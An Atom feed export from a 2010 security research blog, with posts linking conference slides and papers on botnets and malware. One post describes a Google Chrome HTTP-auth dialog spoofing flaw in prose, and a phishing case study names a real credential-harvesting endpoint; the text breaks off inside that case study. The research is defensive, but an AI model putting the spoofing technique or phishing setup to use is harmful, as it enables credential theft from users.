width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1673637309140876212</id><published>2010-11-10T18:48:00.000-08:00</published><updated>2010-11-10T18:49:32.199-08:00</updated><title type='text'>ECCouncil Botnet Briefing Slides</title><content type='html'>&lt;center&gt;&lt;div style="width:425px" id="__ss_5659351"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/ec-council-botnet-briefings" title="EC Council - Botnet Briefings"&gt;EC Council - Botnet Briefings&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5659351" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=ec-councilbriefingsadityaksppt-101103154327-phpapp02&amp;stripped_title=ec-council-botnet-briefings&amp;userName=adityaks" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5659351" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=ec-councilbriefingsadityaksppt-101103154327-phpapp02&amp;stripped_title=ec-council-botnet-briefings&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1673637309140876212?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1673637309140876212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1673637309140876212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1673637309140876212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1673637309140876212'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/eccouncil-botnet-briefing-slides.html' title='ECCouncil Botnet Briefing Slides'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2427234557839766576</id><published>2010-11-10T18:46:00.000-08:00</published><updated>2010-11-10T18:47:44.879-08:00</updated><title type='text'>HackerHalted Miami 2010 -  Slides</title><content type='html'>&lt;center&gt;&lt;div style="width:425px" id="__ss_5456003"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/hacker-halted-miami-usa-2010" title="Hacker Halted Miami , USA 2010"&gt;Hacker Halted Miami , USA 2010&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5456003" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hackerhalted2010-101015182523-phpapp01&amp;stripped_title=hacker-halted-miami-usa-2010&amp;userName=adityaks" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5456003" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hackerhalted2010-101015182523-phpapp01&amp;stripped_title=hacker-halted-miami-usa-2010&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2427234557839766576?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2427234557839766576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2427234557839766576' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2427234557839766576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2427234557839766576'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/hackerhalted-miami-2010-slides.html' title='HackerHalted Miami 2010 -  Slides'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5371555385058383379</id><published>2010-11-10T18:43:00.000-08:00</published><updated>2010-11-10T18:46:22.651-08:00</updated><title type='text'>OWASP AppSec USA - Slides and Presentation</title><content type='html'>&lt;center&gt;&lt;div style="width:425px" id="__ss_5233765"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/owasp-app-sec-us-2010" title="OWASP App Sec US - 2010"&gt;OWASP App Sec US - 2010&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5233765" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=adityaksowaspappsec2010caus-100919104704-phpapp02&amp;stripped_title=owasp-app-sec-us-2010&amp;userName=adityaks" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5233765" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=adityaksowaspappsec2010caus-100919104704-phpapp02&amp;stripped_title=owasp-app-sec-us-2010&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="400" height="300"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=15520242&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=15520242&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/15520242"&gt;Aditya K. Sood, Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities&lt;/a&gt; from &lt;a href="http://vimeo.com/user4863863"&gt;AppSec USA 2010&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5371555385058383379?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5371555385058383379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5371555385058383379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5371555385058383379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5371555385058383379'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/owasp-appsec-usa-slides-and.html' title='OWASP AppSec USA - Slides and Presentation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8284975056430920698</id><published>2010-08-28T12:47:00.001-07:00</published><updated>2010-08-28T12:49:39.541-07:00</updated><title type='text'>Malware At Stake Blog</title><content type='html'>We have started our new blog at &lt;a href="http://secniche.blogspot.com"&gt;http://secniche.blogspot.com&lt;/a&gt;. This blog is specifically entitled to malware research. so keep a track on it for malware details straight from the underground.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8284975056430920698?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8284975056430920698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8284975056430920698' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8284975056430920698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8284975056430920698'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/08/malware-at-stake-blog.html' title='Malware At Stake Blog'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1217126582541955217</id><published>2010-08-23T14:40:00.000-07:00</published><updated>2010-08-23T15:03:40.159-07:00</updated><title type='text'>User Interface Security - Google Chrome HTTP AUTH Dialog Spoofing through Realm Manipulation</title><content type='html'>&lt;br&gt;Google Chrome ( 5.0.375.127 and previous versions) suffers from HTTP Auth Dialog spoofing vulnerability due to possible realm manipulation in the HTTP header. Previously, Google chrome has got a similar bug which can be seen &lt;span style="font-weight:bold;"&gt;&lt;a href=" http://code.google.com/p/chromium/issues/detail?id=36772"&gt; HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This bug was actually patched. The issue mentioned in this bug was dialog spoofing due to long sub domain names. The patch worked only for that specific case which was outlined in that bug. There are number of tests have been conducted on Google Chrome&lt;br /&gt;which verifies the inefficiency of Google Chrome to scrutinize the type of realm value set in the header. It can be tampered with double quotes and single quotes used in a definite manner.&lt;br /&gt;&lt;br /&gt;Another related scenario:&lt;span style="font-weight:bold;"&gt; &lt;a href="http://code.google.com/p/chromium/issues/detail?id=32718"&gt;HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note: Different variants have shown that these issues are still open and not patched yet.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;As mentioned in RFC 2617: "The realm directive (case-insensitive) is required for all authentication schemes that issue a challenge.The realm value (case-sensitive), in combination with the canonical root URL (the absolute URI for the server whose abs_path is empty;of the server being accessed, defines the protection space. These realms allow the protected resources on a server to be partitioned into a set of protection spaces, each with its own authentication scheme and/or authorization database.//The realm value is a string,generally assigned by the origin server, which may have additional semantics specific to the authentication scheme. Note that there may be multiple challenges with the same auth-scheme but different realm/s"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, realm value plays critical role in determining the framework of HTTP Access authentication for a particular resource. It has been analyzed that it is possible to spoof the HTTP Auth dialog by playing around realm values. This attack scenario&lt;br /&gt;can be used to launch phishing attacks and stealing sensitive information from the legitimate websites.&lt;br /&gt;&lt;br /&gt;As it has been released before, Google Chrome fails to sanitize the obfuscated URL and redirect it to the different domain. This potential flaw can be combined with the HTTP Auth dialog spoofing to launch attacks against legitimate websites. Looking at this particular point of time, certain solutions can be presented as&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1. A new model of HTTP authentication dialog which shows the  clarity between realm value and domain.&lt;br /&gt;&lt;br /&gt;2. Setting a limit on size of strings to be passed as Realm value. This should not be applied on the string size of domain name.&lt;br /&gt;&lt;br /&gt;3. Application of appropriate parameters in scrutinizing the strings passed in double quotes and single quotes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Further: Tim from &lt;span style="font-weight:bold;"&gt;&lt;a href="httpp://www.vsecurity.com"&gt;Vsecurity&lt;/a&gt; &lt;/span&gt;notifies about similar work related to HTTP Authentication. A very good paper has been presented &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf"&gt;HERE&lt;/a&gt;&lt;/span&gt; which covers lot of issues of HTTP authentication &lt;br /&gt;&lt;br /&gt;The video is embedded below&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/r1KuE2th_EY?fs=1&amp;amp;hl=en_US"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/r1KuE2th_EY?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="300" height="200"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1217126582541955217?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1217126582541955217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1217126582541955217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1217126582541955217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1217126582541955217'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/08/google-chrome-http-auth-dialog-through.html' title='User Interface Security - Google Chrome HTTP AUTH Dialog Spoofing through Realm Manipulation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2407627661446859433</id><published>2010-08-09T18:25:00.000-07:00</published><updated>2010-08-09T18:31:22.698-07:00</updated><title type='text'>Debugged MZ/PE - Holistic Approach to Analysis of Defective Threads</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TGCqqTN0ufI/AAAAAAAAAw8/CkeraT5aF94/s1600/debug.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 143px; height: 188px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TGCqqTN0ufI/AAAAAAAAAw8/CkeraT5aF94/s400/debug.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5503586388336228850" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Abstract:&lt;/span&gt; Threads are considered as second level structures used in the process execution. As per semantics, threads run as dynamic entities under processes. Whenever a new process is created in a system a number of threads are initialized. To understand the real cause of infection in processes, one has to traverse along the working proce­dure of a thread.&lt;br /&gt;&lt;br /&gt;Online : &lt;a href="http://debuggingexpert.dumpanalysis.org/Debugged_March_2010.htm"&gt;http://debuggingexpert.dumpanalysis.org/Debugged_March_2010.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The hard cover will be release at Amazon : &lt;a href="http://www.amazon.com/Debugged-MZ-Multithreading-Dmitry-Vostokov/dp/1906717834/ref=sr_1_4?ie=UTF8&amp;s=books&amp;qid=1281403713&amp;sr=8-4"&gt;HERE&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2407627661446859433?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2407627661446859433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2407627661446859433' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2407627661446859433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2407627661446859433'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/08/debugged-mzpe-holistic-approach-to.html' title='Debugged MZ/PE - Holistic Approach to Analysis of Defective Threads'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/TGCqqTN0ufI/AAAAAAAAAw8/CkeraT5aF94/s72-c/debug.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4342690567080950139</id><published>2010-08-07T20:41:00.000-07:00</published><updated>2010-08-09T03:37:31.551-07:00</updated><title type='text'>TRISC 2010 - Scaling Web 2.0 Malware</title><content type='html'>TRISC conference presentation is rooted below&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;div style="width:425px" id="__ss_4911285"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/wayne_armorize/scaling-web-20-malware-infection-4911285" title="Scaling Web 2.0 Malware Infection"&gt;Scaling Web 2.0 Malware Infection&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse4911285" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=adityakstrisccon-100805203437-phpapp02&amp;stripped_title=scaling-web-20-malware-infection-4911285" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse4911285" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=adityakstrisccon-100805203437-phpapp02&amp;stripped_title=scaling-web-20-malware-infection-4911285" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4342690567080950139?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4342690567080950139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4342690567080950139' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4342690567080950139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4342690567080950139'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/08/trisc-2010-scaling-web-20-malware.html' title='TRISC 2010 - Scaling Web 2.0 Malware'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3120041301479577453</id><published>2010-07-11T10:12:00.000-07:00</published><updated>2010-07-22T09:23:12.326-07:00</updated><title type='text'>HITB Magazine: MS Office Infection Paper</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TDn8GiOls2I/AAAAAAAAAwk/MMg7J73_oBk/s1600/hitb.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 157px; height: 37px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TDn8GiOls2I/AAAAAAAAAwk/MMg7J73_oBk/s400/hitb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5492698409752441698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A new paper has been released in the HITB magazine about infection styles in MS Office files. It projects a pattern of infection used by chinese malware.&lt;br /&gt;&lt;br /&gt;Fetch:&lt;a href="http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-003.pdf"&gt;http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-003.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3120041301479577453?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3120041301479577453/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3120041301479577453' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3120041301479577453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3120041301479577453'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/07/hitb-magazine-ms-office-infection.html' title='HITB Magazine: MS Office Infection Paper'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/TDn8GiOls2I/AAAAAAAAAwk/MMg7J73_oBk/s72-c/hitb.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6633809541190734797</id><published>2010-05-05T11:20:00.000-07:00</published><updated>2010-05-30T22:47:29.308-07:00</updated><title type='text'>Credentials Verification- Security Emails Phishing and Trust Manipulation</title><content type='html'>Phishing attacks based on trust exploitation are on rise. Banks are facing tremendous complexities and security issues due to these type of attacks. The primary focus of this sort of attack is to trick user’s sense of understanding and&lt;br /&gt;segregating the trust to perform operations of attackers choice. The case studies discussed in this article sheds light on phishing attacks that exploits user trust behavior with the third party. Credit card forgeries are quite common considering the bank phishing frauds. The primary artifact of attackers is to play with the user trust and to manipulate user thinking process by raising a complexity through spams. The user inability to distinguish between the trusted website and attacker controlled website, which is a replica of the original website, results in forged transactions.&lt;br /&gt;&lt;br /&gt;Recently HSBC, Paypal security phishing emails are used to steal the credentials of users. The phished email carry online form as an attachment which looks similar to the original HSBC bank forms for updating the credentials of the user. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Case 1 - Paypal Verification Credentials Theft&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The email is sent by phisher on the behalf of Paypal verification group for re-verifying your credentials. The email looks like as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S-G_bK9iTiI/AAAAAAAAAt0/y5Do6JVAa_c/s1600/paypal_verif_email.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 180px; height: 200px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S-G_bK9iTiI/AAAAAAAAAt0/y5Do6JVAa_c/s200/paypal_verif_email.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467861896124321314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During analysis the attachment is downloaded in a restrictive environment to scrutinize against malware, infection handlers etc. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S-HAJtH3F5I/AAAAAAAAAt8/4EdJNKssOJU/s1600/paypal_verify_form.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 164px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S-HAJtH3F5I/AAAAAAAAAt8/4EdJNKssOJU/s200/paypal_verify_form.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467862695568414610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luckily the form page does not contain malware but the form is posted to a attacker controlled domain (http://probe.201w.com/verification.php) for verification as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/S-HAr8UQq6I/AAAAAAAAAuE/Ag_b0YOpOGI/s1600/form_check.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 125px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/S-HAr8UQq6I/AAAAAAAAAuE/Ag_b0YOpOGI/s320/form_check.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467863283762506658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On further analyzing the domain, we came across the fact that some of the users have fallen into this trap as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S-HBgXhIDtI/AAAAAAAAAuU/rwZ_guPEjGQ/s1600/record_check.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 249px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S-HBgXhIDtI/AAAAAAAAAuU/rwZ_guPEjGQ/s320/record_check.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467864184417423058" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The users inability to distinguish between the trust boundaries lead to compromises and information stealing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Case 2: HSBC Verification Credentials Stealing&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/S-G5dZ_7dDI/AAAAAAAAAtU/0WkkRgdwHVs/s1600/hsbc_sec_phish.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 175px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/S-G5dZ_7dDI/AAAAAAAAAtU/0WkkRgdwHVs/s200/hsbc_sec_phish.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5467855337450861618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We performed simple analysis in controlled environment. The form looked like as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 